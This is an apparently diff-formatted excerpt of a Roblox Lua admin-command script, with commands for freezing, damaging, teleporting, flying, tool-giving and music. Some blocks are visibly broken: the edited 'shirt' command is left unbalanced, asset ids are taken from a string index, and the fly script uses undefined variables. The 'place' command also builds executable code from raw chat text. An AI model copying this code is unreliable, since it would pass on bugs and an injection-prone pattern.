1076
end
1077
end
1078
1079
if msg:lower():sub(1,8) == "unsmoke " then
1080
local plrz = GetPlr(plr, msg:lower():sub(9))
1081
for i, v in pairs(plrz) do
1082
coroutine.resume(coroutine.create(function()
1083
if v and v.Character and v.Character:findFirstChild("Torso") then 
1084
for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
1085
end
1086
end))
1087
end
1088
end
1089
1090
if msg:lower():sub(1,9) == "sparkles " then
1091
local plrz = GetPlr(plr, msg:lower():sub(10))
1092
for i, v in pairs(plrz) do
1093
coroutine.resume(coroutine.create(function()
1094
if v and v.Character and v.Character:findFirstChild("Torso") then 
1095
local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
1096
end
1097
end))
1098
end
1099
end
1100
1101
if msg:lower():sub(1,11) == "unsparkles " then
1102
local plrz = GetPlr(plr, msg:lower():sub(12))
1103
for i, v in pairs(plrz) do
1104
coroutine.resume(coroutine.create(function()
1105
if v and v.Character and v.Character:findFirstChild("Torso") then 
1106
for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
1107
end
1108
end))
1109
end
1110
end
1111
1112
if msg:lower():sub(1,3) == "ff " then
1113
local plrz = GetPlr(plr, msg:lower():sub(4))
1114
for i, v in pairs(plrz) do
1115
coroutine.resume(coroutine.create(function()
1116
if v and v.Character then Instance.new("ForceField", v.Character) end
1117
end))
1118
end
1119
end
1120
1121
if msg:lower():sub(1,5) == "unff " then
1122
local plrz = GetPlr(plr, msg:lower():sub(6))
1123
for i, v in pairs(plrz) do
1124
coroutine.resume(coroutine.create(function()
1125
if v and v.Character then 
1126
for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
1127
end
1128
end))
1129
end
1130
end
1131
1132
if msg:lower():sub(1,7) == "punish " then
1133
local plrz = GetPlr(plr, msg:lower():sub(8))
1134
for i, v in pairs(plrz) do
1135
coroutine.resume(coroutine.create(function()
1136
if v and v.Character then 
1137
v.Character.Parent = game:service("Lighting")
1138
end
1139
end))
1140
end
1141
end
1142
1143
if msg:lower():sub(1,9) == "unpunish " then
1144
local plrz = GetPlr(plr, msg:lower():sub(10))
1145
for i, v in pairs(plrz) do
1146
coroutine.resume(coroutine.create(function()
1147
if v and v.Character then 
1148
v.Character.Parent = game:service("Workspace")
1149
v.Character:MakeJoints()
1150
end
1151
end))
1152
end
1153
end
1154
1155
if msg:lower():sub(1,7) == "freeze " then
1156
local plrz = GetPlr(plr, msg:lower():sub(8))
1157
for i, v in pairs(plrz) do
1158
coroutine.resume(coroutine.create(function()
1159
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1160
for a, obj in pairs(v.Character:children()) do 
1161
if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
1162
end
1163
end
1164
end))
1165
end
1166
end
1167
1168
if msg:lower():sub(1,5) == "thaw " then
1169
local plrz = GetPlr(plr, msg:lower():sub(6))
1170
for i, v in pairs(plrz) do
1171
coroutine.resume(coroutine.create(function()
1172
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1173
for a, obj in pairs(v.Character:children()) do 
1174
if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
1175
end
1176
end
1177
end))
1178
end
1179
end
1180
1181
if msg:lower():sub(1,5) == "heal " then
1182
local plrz = GetPlr(plr, msg:lower():sub(6))
1183
for i, v in pairs(plrz) do
1184
coroutine.resume(coroutine.create(function()
1185
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1186
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
1187
end
1188
end))
1189
end
1190
end
1191
1192
if msg:lower():sub(1,4) == "god " then
1193
local plrz = GetPlr(plr, msg:lower():sub(5))
1194
for i, v in pairs(plrz) do
1195
coroutine.resume(coroutine.create(function()
1196
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1197
v.Character.Humanoid.MaxHealth = math.huge
1198
v.Character.Humanoid.Health = 9e9
1199
end
1200
end))
1201
end
1202
end
1203
1204
if msg:lower():sub(1,6) == "ungod " then
1205
local plrz = GetPlr(plr, msg:lower():sub(7))
1206
for i, v in pairs(plrz) do
1207
coroutine.resume(coroutine.create(function()
1208
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1209
v.Character.Humanoid.MaxHealth = 100
1210
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
1211
end
1212
end))
1213
end
1214
end
1215
1216
if msg:lower():sub(1,8) == "ambient " then
1217
local chk1 = msg:lower():sub(9):find(" ") + 8
1218
local chk2 = msg:sub(chk1+1):find(" ") + chk1
1219
game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
1220
end
1221
1222
if msg:lower():sub(1,11) == "brightness " then
1223
game.Lighting.Brightness = msg:sub(12)
1224
end
1225
1226
if msg:lower():sub(1,5) == "time " then
1227
game.Lighting.TimeOfDay = msg:sub(6)
1228
end
1229
1230
if msg:lower():sub(1,9) == "fogcolor " then
1231
local chk1 = msg:lower():sub(10):find(" ") + 9
1232
local chk2 = msg:sub(chk1+1):find(" ") + chk1
1233
game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
1234
end
1235
1236
if msg:lower():sub(1,7) == "fogend " then
1237
game.Lighting.FogEnd = msg:sub(8)
1238
end
1239
1240
if msg:lower():sub(1,9) == "fogstart " then
1241
game.Lighting.FogStart = msg:sub(10)
1242
end
1243
1244
if msg:lower():sub(1,7) == "btools " then
1245
local plrz = GetPlr(plr, msg:lower():sub(8))
1246
for i, v in pairs(plrz) do
1247
coroutine.resume(coroutine.create(function()
1248
if v and v:findFirstChild("Backpack") then 
1249
local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
1250
local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
1251
local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
1252
local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
1253
local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
1254
repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
1255
local sb
1256
local hs
1257
local pdist
1258
1259
script.Parent.Selected:connect(function(mouse)
1260
if not mouse then return end
1261
sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
1262
hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
1263
mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
1264
hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
1265
hs.MouseButton1Down:connect(function() pdist = 0 end)
1266
end)
1267
1268
script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
1269
end
1270
end))
1271
end
1272
end
1273
1274
if msg:lower():sub(1,5) == "give " then
1275
local chk1 = msg:lower():sub(6):find(" ") + 5
1276
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1277
for i, v in pairs(plrz) do
1278
coroutine.resume(coroutine.create(function()
1279
if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then 
1280
for a, tool in pairs(game.Lighting:children()) do
1281
if tool:IsA("Tool") or tool:IsA("HopperBin") then
1282
if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
1283
end
1284
end
1285
end
1286
end))
1287
end
1288
end
1289
1290
if msg:lower():sub(1,12) == "removetools " then
1291
local plrz = GetPlr(plr, msg:lower():sub(13))
1292
for i, v in pairs(plrz) do
1293
coroutine.resume(coroutine.create(function()
1294
if v and v.Character and v:findFirstChild("Backpack") then 
1295
for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
1296
for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
1297
end
1298
end))
1299
end
1300
end
1301
1302
if msg:lower():sub(1,5) == "rank " then
1303
local chk1 = msg:lower():sub(6):find(" ") + 5
1304
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1305
for i, v in pairs(plrz) do
1306
coroutine.resume(coroutine.create(function()
1307
if v and v:IsInGroup(msg:sub(chk1+1)) then 
1308
Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
1309
elseif v and not v:IsInGroup(msg:sub(chk1+1))then
1310
Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
1311
end
1312
end))
1313
end
1314
end
1315
1316
if msg:lower():sub(1,7) == "damage " then
1317
local chk1 = msg:lower():sub(8):find(" ") + 7
1318
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
1319
for i, v in pairs(plrz) do
1320
coroutine.resume(coroutine.create(function()
1321
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1322
v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
1323
end
1324
end))
1325
end
1326
end
1327
1328
if msg:lower():sub(1,5) == "grav " then
1329
local plrz = GetPlr(plr, msg:lower():sub(6))
1330
for i, v in pairs(plrz) do
1331
coroutine.resume(coroutine.create(function()
1332
if v and v.Character and v.Character:findFirstChild("Torso") then 
1333
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
1334
end
1335
end))
1336
end
1337
end
1338
1339
if msg:lower():sub(1,8) == "setgrav " then
1340
local chk1 = msg:lower():sub(9):find(" ") + 8
1341
local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
1342
for i, v in pairs(plrz) do
1343
coroutine.resume(coroutine.create(function()
1344
if v and v.Character and v.Character:findFirstChild("Torso") then 
1345
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
1346
local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
1347
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
1348
end
1349
end))
1350
end
1351
end
1352
1353
if msg:lower():sub(1,7) == "nograv " then
1354
local plrz = GetPlr(plr, msg:lower():sub(8))
1355
for i, v in pairs(plrz) do
1356
coroutine.resume(coroutine.create(function()
1357
if v and v.Character and v.Character:findFirstChild("Torso") then 
1358
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
1359
local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
1360
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
1361
end
1362
end))
1363
end
1364
end
1365
1366
if msg:lower():sub(1,7) == "health " then
1367
local chk1 = msg:lower():sub(8):find(" ") + 7
1368
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
1369
for i, v in pairs(plrz) do
1370
coroutine.resume(coroutine.create(function()
1371
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1372
v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
1373
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
1374
end
1375
end))
1376
end
1377
end
1378
1379
if msg:lower():sub(1,6) == "speed " then
1380
local chk1 = msg:lower():sub(7):find(" ") + 6
1381
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1382
for i, v in pairs(plrz) do
1383
coroutine.resume(coroutine.create(function()
1384
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1385
v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
1386
end
1387
end))
1388
end
1389
end
1390
1391
if msg:lower():sub(1,5) == "team " then
1392
local chk1 = msg:lower():sub(6):find(" ") + 5
1393
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1394
for i, v in pairs(plrz) do
1395
coroutine.resume(coroutine.create(function()
1396
if v and game:findFirstChild("Teams") then 
1397
for a, tm in pairs(game.Teams:children()) do
1398
if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
1399
end
1400
end
1401
end))
1402
end
1403
end
1404
1405
if msg:lower():sub(1,6) == "place " then
1406
local chk1 = msg:lower():sub(7):find(" ") + 6
1407
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1408
for i, v in pairs(plrz) do
1409
coroutine.resume(coroutine.create(function()
1410
if v and v:findFirstChild("PlayerGui") then 
1411
local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
1412
end
1413
end))
1414
end
1415
end
1416
1417
if msg:lower():sub(1,3) == "tp " then
1418
local chk1 = msg:lower():sub(4):find(" ") + 3
1419
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
1420
local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
1421
for i, v in pairs(plrz) do
1422
coroutine.resume(coroutine.create(function()
1423
for i2, v2 in pairs(plrz2) do
1424
if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
1425
v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
1426
end
1427
end
1428
end))
1429
end
1430
end
1431
1432
if msg:lower():sub(1,7) == "change " then
1433
local chk1 = msg:lower():sub(8):find(" ") + 7
1434
local chk2 = msg:sub(chk1+1):find(" ") + chk1
1435
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
1436
for i, v in pairs(plrz) do
1437
coroutine.resume(coroutine.create(function()
1438
if v and v:findFirstChild("leaderstats") then 
1439
for a, st in pairs(v.leaderstats:children()) do
1440
if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
1441
end
1442
end
1443
end))
1444
end
1445
end
1446
1447
if msg:lower():sub(1,6) == "shirt " then
1448
local chk1 = msg:lower():sub(7):find(" ") + 6
1449
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1450
for i, v in pairs(plrz) do
1451
coroutine.resume(coroutine.create(function()
1452-
local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") local mouse = game.Players.LocalPlayer:GetMouse() repeat wait() until mouse ~= nil local plr = game.Players.LocalPlayer local torso = plr.Character.Torso local flying = false local deb = true local ctrl = {f = 0, b = 0, l = 0, r = 0} local lastctrl = {f = 0, b = 0, l = 0, r = 0} local maxspeed = 50 local speed = 0 function Fly() local bg = Instance.new("BodyGyro", torso) bg.P = 9e4 bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) bg.cframe = torso.CFrame local bv = Instance.new("BodyVelocity", torso) bv.velocity = Vector3.new(0,0.1,0) bv.maxForce = Vector3.new(9e9, 9e9, 9e9) repeat wait() plr.Character.Humanoid.PlatformStand = true if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then speed = speed+.5+(speed/maxspeed) if speed > maxspeed then speed = maxspeed end elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then speed = speed-1 if speed < 0 then speed = 0 end end if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed else bv.velocity = Vector3.new(0,0.1,0) end bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) until not flying ctrl = {f = 0, b = 0, l = 0, r = 0} lastctrl = {f = 0, b = 0, l = 0, r = 0} speed = 0 bg:Destroy() bv:Destroy() plr.Character.Humanoid.PlatformStand = false end mouse.KeyDown:connect(function(key) if key:lower() == "e" then if flying then flying = false else flying = true Fly() end elseif key:lower() == "w" then ctrl.f = 1 elseif key:lower() == "s" then ctrl.b = -1 elseif key:lower() == "a" then ctrl.l = -1 elseif key:lower() == "d" then ctrl.r = 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then ctrl.f = 0 elseif key:lower() == "s" then ctrl.b = 0 elseif key:lower() == "a" then ctrl.l = 0 elseif key:lower() == "d" then ctrl.r = 0 end end)]]
1452+
1453
for i,v in pairs(v.Character:children()) do
1454
if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
1455
end
1456
end
1457
end))
1458
end
1459
end
1460
1461
if msg:lower():sub(1,6) == "pants " then
1462
local chk1 = msg:lower():sub(7):find(" ") + 6
1463
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1464
for i, v in pairs(plrz) do
1465
coroutine.resume(coroutine.create(function()
1466
if v and v.Character then 
1467
for i,v in pairs(v.Character:children()) do
1468
if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
1469
end
1470
end
1471
end))
1472
end
1473
end
1474
1475
if msg:lower():sub(1,5) == "face " then
1476
local chk1 = msg:lower():sub(6):find(" ") + 5
1477
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1478
for i, v in pairs(plrz) do
1479
coroutine.resume(coroutine.create(function()
1480
if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then 
1481
v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
1482
end
1483
end))
1484
end
1485
end
1486
1487
------------------
1488
-- Fun Commands --
1489
------------------
1490
if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
1491
	
1492
if msg:lower():sub(1,8) == "swagify " then
1493
local plrz = GetPlr(plr, msg:lower():sub(9))
1494
for i, v in pairs(plrz) do
1495
coroutine.resume(coroutine.create(function()
1496
if v and v.Character then
1497
for i,v in pairs(v.Character:children()) do
1498
if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
1499
if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
1500
end
1501
for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
1502
local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
1503
repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
1504
local torso = plr.Character.Torso
1505
local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
1506
p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
1507
p.Size = Vector3.new(.2,.2,.2)
1508
local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
1509
local motor1 = Instance.new("Motor", p)
1510
motor1.Part0 = p
1511
motor1.Part1 = torso
1512
motor1.MaxVelocity = .01
1513
motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
1514
motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
1515
local wave = false
1516
repeat wait(1/44)
1517
local ang = 0.1
1518
local oldmag = torso.Velocity.magnitude
1519
local mv = .002
1520
if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
1521
ang = ang + math.min(torso.Velocity.magnitude/11, .5)
1522
motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
1523
motor1.DesiredAngle = -ang
1524
if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
1525
repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag)  >= (torso.Velocity.magnitude/10) + 1
1526
if torso.Velocity.magnitude < .1 then wait(.1) end
1527
until not p or p.Parent ~= torso.Parent
1528
script:Destroy()
1529
]] cl.Parent = v.PlayerGui cl.Disabled = false
1530
end
1531
end))
1532
end
1533
end
1534
1535
if msg:lower():sub(1,6) == "music " then
1536
for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
1537
local id = msg:sub(7)
1538
local pitch = 1
1539
if tostring(id):lower():find("caramell") then id = 2303479 end
1540
if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
1541
if tostring(id):find("rick") then id = 2027611 end
1542
if tostring(id):find("halo") then id = 1034065  end
1543
if tostring(id):find("pokemon") then id = 1372261 end
1544
if tostring(id):find("cursed") then id = 1372257 end
1545
if tostring(id):find("extreme") then id = 11420933 end
1546
if tostring(id):find("awaken") then id = 27697277 end
1547
if tostring(id):find("alone") then id = 27697392 end
1548
if tostring(id):find("mario") then id = 1280470 end
1549
if tostring(id):find("choir") then id = 1372258 end
1550
if tostring(id):find("chrono") then id = 1280463 end
1551
if tostring(id):find("dotr") then id = 11420922 end
1552
if tostring(id):find("entertain") then id = 27697267 end
1553
if tostring(id):find("fantasy") then id = 1280473 end
1554
if tostring(id):find("final") then id = 1280414 end
1555
if tostring(id):find("emblem") then id = 1372259 end
1556
if tostring(id):find("flight") then id = 27697719 end
1557
if tostring(id):find("banjo") then id = 27697298 end
1558
if tostring(id):find("gothic") then id = 27697743 end
1559
if tostring(id):find("hiphop") then id = 27697735 end
1560
if tostring(id):find("intro") then id = 27697707 end
1561
if tostring(id):find("mule") then id = 1077604 end
1562
if tostring(id):find("film") then id = 27697713 end
1563
if tostring(id):find("nezz") then id = 8610025 end
1564
if tostring(id):find("angel") then id = 1372260 end
1565
if tostring(id):find("resist") then id = 27697234 end
1566
if tostring(id):find("schala") then id = 5985787 end
1567
if tostring(id):find("organ") then id = 11231513 end
1568
if tostring(id):find("tunnel") then id = 9650822 end
1569
if tostring(id):find("spanish") then id = 5982975 end
1570
if tostring(id):find("venom") then id = 1372262 end
1571
if tostring(id):find("wind") then id = 1015394 end
1572
if tostring(id):find("guitar") then id = 5986151 end
1573
local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
1574
end
1575
1576
if msg:lower() == "stopmusic" then
1577
for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
1578
end
1579
1580
if msg:lower() == "musiclist" then
1581
if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
1582
local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
1583
local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
1584
for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
1585
end
1586
1587
if msg:lower():sub(1,4) == "fly " then
1588
local plrz = GetPlr(plr, msg:lower():sub(5))
1589
for i, v in pairs(plrz) do
1590
coroutine.resume(coroutine.create(function()
1591
if v and v:findFirstChild("PlayerGui") then
1592
local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") local torso = plr.Character.Torso local flying = false local deb = true local ctrl = {f = 0, b = 0, l = 0, r = 0} local lastctrl = {f = 0, b = 0, l = 0, r = 0} local maxspeed = 50 local speed = 0 function Fly() local bg = Instance.new("BodyGyro", torso) bg.P = 9e4 bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) bg.cframe = torso.CFrame local bv = Instance.new("BodyVelocity", torso) bv.velocity = Vector3.new(0,0.1,0) bv.maxForce = Vector3.new(9e9, 9e9, 9e9) repeat wait() plr.Character.Humanoid.PlatformStand = true if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then speed = speed+.5+(speed/maxspeed) if speed > maxspeed then speed = maxspeed end elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then speed = speed-1 if speed < 0 then speed = 0 end end if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed else bv.velocity = Vector3.new(0,0.1,0) end bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) until not flying ctrl = {f = 0, b = 0, l = 0, r = 0} lastctrl = {f = 0, b = 0, l = 0, r = 0} speed = 0 bg:Destroy() bv:Destroy() plr.Character.Humanoid.PlatformStand = false end mouse.KeyDown:connect(function(key) if key:lower() == "e" then if flying then flying = false else flying = true Fly() end elseif key:lower() == "w" then ctrl.f = 1 elseif key:lower() == "s" then ctrl.b = -1 elseif key:lower() == "a" then ctrl.l = -1 elseif key:lower() == "d" then ctrl.r = 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then ctrl.f = 0 elseif key:lower() == "s" then ctrl.b = 0 elseif key:lower() == "a" then ctrl.l = 0 elseif key:lower() == "d" then ctrl.r = 0 end end)]]
1593
cl.Parent = v.PlayerGui cl.Disabled = false
1594
end
1595
end))
1596
end
1597
end
1598
1599
if msg:lower():sub(1,6) == "unfly " then
1600
local plrz = GetPlr(plr, msg:lower():sub(7))
1601
for i, v in pairs(plrz) do
1602
coroutine.resume(coroutine.create(function()
1603
if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
1604
for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
1605
for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
1606
wait(.1) v.Character.Humanoid.PlatformStand = false
1607
end
1608
end))
1609
end
1610
end
1611
1612
if msg:lower() == "disco" then
1613
for i, v in pairs(lobjs) do v:Destroy() end
1614
local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
1615
game.Lighting.Ambient = color
1616
game.Lighting.FogColor = color
1617
until nil]]
1618
table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
1619
end
1620
1621
